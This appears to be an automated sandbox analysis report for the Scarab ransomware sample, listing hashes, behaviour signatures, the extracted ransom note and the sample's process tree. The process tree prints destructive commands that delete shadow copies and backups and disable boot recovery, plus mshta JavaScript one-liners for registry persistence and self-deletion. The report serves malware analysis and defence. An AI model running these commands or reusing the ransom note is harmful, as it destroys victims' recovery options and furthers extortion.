Overview

overview

10

Static

static

3

2272954a2c...5a.exe

windows7-x64

10

2272954a2c...5a.exe

windows10-2004-x64

10

72716d15ea...21.exe

windows7-x64

7

72716d15ea...21.exe

windows10-2004-x64

7

Bit Paymer.exe

windows7-x64

10

Bit Paymer.exe

windows10-2004-x64

10

KeepCalm.exe

windows7-x64

1

KeepCalm.exe

windows10-2004-x64

1

LockedIn.exe

windows7-x64

9

LockedIn.exe

windows10-2004-x64

9

NotPetya.dll

windows7-x64

10

NotPetya.dll

windows10-2004-x64

10

Purge.exe

windows7-x64

1

Purge.exe

windows10-2004-x64

1

Scarab.exe

windows7-x64

10

Scarab.exe

windows10-2004-x64

10

a631ad1b1a...4b.exe

windows7-x64

6

a631ad1b1a...4b.exe

windows10-2004-x64

6

a9053a3a52...bc.exe

windows7-x64

7

a9053a3a52...bc.exe

windows10-2004-x64

7

b764629e1f...1c.exe

windows7-x64

10

b764629e1f...1c.exe

windows10-2004-x64

10

cf89f70633...5c.exe

windows7-x64

1

cf89f70633...5c.exe

windows10-2004-x64

3

e951e82867...50.exe

windows7-x64

1

e951e82867...50.exe

windows10-2004-x64

1

fa0c321e1a...d2.exe

windows7-x64

9

fa0c321e1a...d2.exe

windows10-2004-x64

8

fc184274ad...27.exe

windows7-x64

10

fc184274ad...27.exe

windows10-2004-x64

10

Resubmissions

18-07-2024 07:25

240718-h84wjs1hpb 10

18-07-2024 07:19

240718-h51pqa1gng 10

17-07-2024 20:55

240717-zqkhmaydmq 10

17-07-2024 19:21

240717-x2pwdaycjb 10

Analysis

  • max time kernel
    150s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    17-07-2024 20:55

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Scarab.exe

  • Size

    342KB

  • MD5

    6899003aaa63ab4397f9e32e0a1daf43

  • SHA1

    c22272ff0944d127992b393562871473b23ef8ea

  • SHA256

    53f73dc2e8af9c059136029b3b535e885d4452d3375586eb9a0336d7a389aad5

  • SHA512

    d8895f96e12d1b0b5907f7b1e7b976a37ff0cbe6db929cfbea5c931d905fb8269dc91bf44db83743920b63affc64ba88a0933d3111bc68f71ee266971b91b6bc

  • SSDEEP

    6144:zmTLRf45/wAfqj6pjohSws+wZQtmk6LnAlnZ:eq5/tyjMLd+Rtmkc0

Score
10/10
defense_evasionexecutionimpactpersistenceprivilege_escalationransomware

Malware Config

Extracted

Path

C:\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT

Ransom Note
__________________________________________________________________________________________________ | | | *** IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS *** | |__________________________________________________________________________________________________| Your files are now encrypted! -----BEGIN PERSONAL IDENTIFIER----- pAQAAAAAAACZXavzHZSJE0MkCAR=s7zcjnGjHEzG6SnB3=7CwiTRrKduObceMexXhVNfzIpk23hNby1MWsm1qqm1nZn3tbRepRgZ pTouLdtave=Z=cjx=1iVO29Rg0NSVS7Dhu6ldatkWFlWpg+Gs5QnYl=oofUu=wnVJlN=Uk=k5mTengOi6p+dUFbF11L9C4mK=Gj+ UWTws33RSEipc15SiMBI2mGE7RwLEUhJB3rsHxJzSm6ppn=Hn4V4y6qejC0pMRajOTkLq3nSqVLtQNY5w5+etGdc5wv2sQDD5+mO QIODVuELPsJW2Wnn+izOk5NFP0RpuNUIm+=JDL7alOsBgqybZmAJFye71IN5UvDMwsGwltkswNAT4sCTUrKRvqxs7eaAYQb8p4i7 m3Vr5lvmHtW01N70uccYJQpwOIYuXgXSupVcZ856734mBloo7lAokIApRzBkaMk5OtvkMSH3UnL7qFqCDcdTHArmn95E1csf6RKN EUGh7V8E3y9AricLg8RiI3Q8ITx5ATADFO2PAkgrunECCiZmgc5L6x6PyjLLmW5K2EFggNunM2bUeHvtS9LRBw3kHzmRtJfQJcYm FF7qcgY8QIPlYFuIundcxdVolxHKtmqE=7ELFC5L0QSZJnGAu5+xaTQnMXSH40QxlIB5AlrclLRkAEGYIb15MLHiMck7+L1HLTJm sOJLjEQBZ4YpWNk1Zye4z8z0rkfoC7mDvzKSkBM9+S4aDAP2NQ7FFG=xmB7SFoA0uJornvk6bGuXNdTG3hfch2Jmj33FxiDHkJ4r AweY6eGD6tm5G631zfnG4D0ydAbnj+5HYeMdA5oRkn08Hk -----END PERSONAL IDENTIFIER----- All your files have been encrypted due to a security problem with your PC. Now you should send us email with your personal identifier. This email will be as confirmation you are ready to pay for decryption key. You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. Contact us using this email address: [email protected] Free decryption as guarantee! Before paying you can send us up to 3 files for free decryption. The total size of files must be less than 10Mb (non archived), and files should not contain valuable information (databases, backups, large excel sheets, etc.). __________________________________________________________________________________________________ | | | How to obtain Bitcoins? | | | | * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click | | 'Buy bitcoins', and select the seller by payment method and price: | | https://localbitcoins.com/buy_bitcoins | | * Also you can find other places to buy Bitcoins and beginners guide here: | | http://www.coindesk.com/information/how-can-i-buy-bitcoins | | | |__________________________________________________________________________________________________| __________________________________________________________________________________________________ | | | Attention! | | | | * Do not rename encrypted files. | | * Do not try to decrypt your data using third party software, it may cause permanent data loss. | | * Decryption of your files with the help of third parties may cause increased price | | (they add their fee to our) or you can become a victim of a scam. | | | |__________________________________________________________________________________________________|

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Renames multiple (234) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs
    defense_evasionprivilege_escalation
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Scarab.exe
    "C:\Users\Admin\AppData\Local\Temp\Scarab.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2492
    • C:\Users\Admin\AppData\Local\Temp\Scarab.exe
      "C:\Users\Admin\AppData\Local\Temp\Scarab.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2488
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\Scarab.exe" "C:\Users\Admin\AppData\Roaming\sevnz.exe"
        3⤵
          PID:2740
        • C:\Users\Admin\AppData\Local\Temp\Scarab.exe
          "C:\Users\Admin\AppData\Local\Temp\Scarab.exe" runas
          3⤵
          • Suspicious use of SetThreadContext
          • Access Token Manipulation: Create Process with Token
          • Suspicious use of WriteProcessMemory
          PID:2704
          • C:\Users\Admin\AppData\Local\Temp\Scarab.exe
            "C:\Users\Admin\AppData\Local\Temp\Scarab.exe" runas
            4⤵
            • Loads dropped DLL
            • Access Token Manipulation: Create Process with Token
            • Suspicious use of WriteProcessMemory
            PID:2832
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\Scarab.exe" "C:\Users\Admin\AppData\Roaming\sevnz.exe"
              5⤵
                PID:2888
              • C:\Users\Admin\AppData\Roaming\sevnz.exe
                "C:\Users\Admin\AppData\Roaming\sevnz.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2720
                • C:\Users\Admin\AppData\Roaming\sevnz.exe
                  "C:\Users\Admin\AppData\Roaming\sevnz.exe"
                  6⤵
                  • Executes dropped EXE
                  • Drops file in Program Files directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:2552
                  • C:\Windows\SysWOW64\mshta.exe
                    mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('sevnz.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\{45E73A27-D16C-4EDB-ADE8-0C069E54AF30}',i);}catch(e){}},10);"
                    7⤵
                    • Adds Run key to start application
                    • Modifies Internet Explorer settings
                    PID:1992
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
                    7⤵
                      PID:1612
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c wmic SHADOWCOPY DELETE
                      7⤵
                        PID:2036
                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                          wmic SHADOWCOPY DELETE
                          8⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2292
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c vssadmin Delete Shadows /All /Quiet
                        7⤵
                          PID:1764
                          • C:\Windows\SysWOW64\vssadmin.exe
                            vssadmin Delete Shadows /All /Quiet
                            8⤵
                            • Interacts with shadow copies
                            PID:2788
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
                          7⤵
                            PID:264
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
                            7⤵
                              PID:696
                        • C:\Windows\SysWOW64\mshta.exe
                          mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('Scarab.exe');close()}catch(e){}},10);"
                          5⤵
                          • Deletes itself
                          • Modifies Internet Explorer settings
                          PID:2744
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2212

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT
                  Filesize

                  4KB

                  MD5

                  284eb16cc9c3372019abd1cca41c72a6

                  SHA1

                  241ec1a024e7b99e912d6c4f589891270ad36ef4

                  SHA256

                  c808bb9a7a306877c139f7125212c562c644b7b6314d831f30fdc12554b1de37

                  SHA512

                  7623d45f6dcd1fc1e38a3c9017d679d097444cf690e812ccf57a28185a992a83acd8e50994af2b5236d05f372f2ff2ad7296256cdef0f871709f45e50169939d

                  Download Submit

                • C:\Users\Admin\AppData\Roaming\sevnz.exe
                  Filesize

                  342KB

                  MD5

                  6899003aaa63ab4397f9e32e0a1daf43

                  SHA1

                  c22272ff0944d127992b393562871473b23ef8ea

                  SHA256

                  53f73dc2e8af9c059136029b3b535e885d4452d3375586eb9a0336d7a389aad5

                  SHA512

                  d8895f96e12d1b0b5907f7b1e7b976a37ff0cbe6db929cfbea5c931d905fb8269dc91bf44db83743920b63affc64ba88a0933d3111bc68f71ee266971b91b6bc

                  Download Submit

                • memory/2488-12-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-18-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-4-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-6-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-17-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-15-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/2488-14-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-2-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-10-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-8-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-20-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-21-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-24-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2488-19-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2492-1-0x0000000000490000-0x0000000000590000-memory.dmp

                  Filesize

                  1024KB

                  Download

                • memory/2552-133-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-84-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-92-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-105-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-106-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-85-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-83-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-99-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-98-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-127-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-67-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-126-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-120-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-112-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-113-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-91-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2552-119-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2704-26-0x0000000000470000-0x0000000000570000-memory.dmp

                  Filesize

                  1024KB

                  Download

                • memory/2832-47-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2832-38-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download

                • memory/2832-39-0x0000000000400000-0x0000000000441000-memory.dmp

                  Filesize

                  260KB

                  Download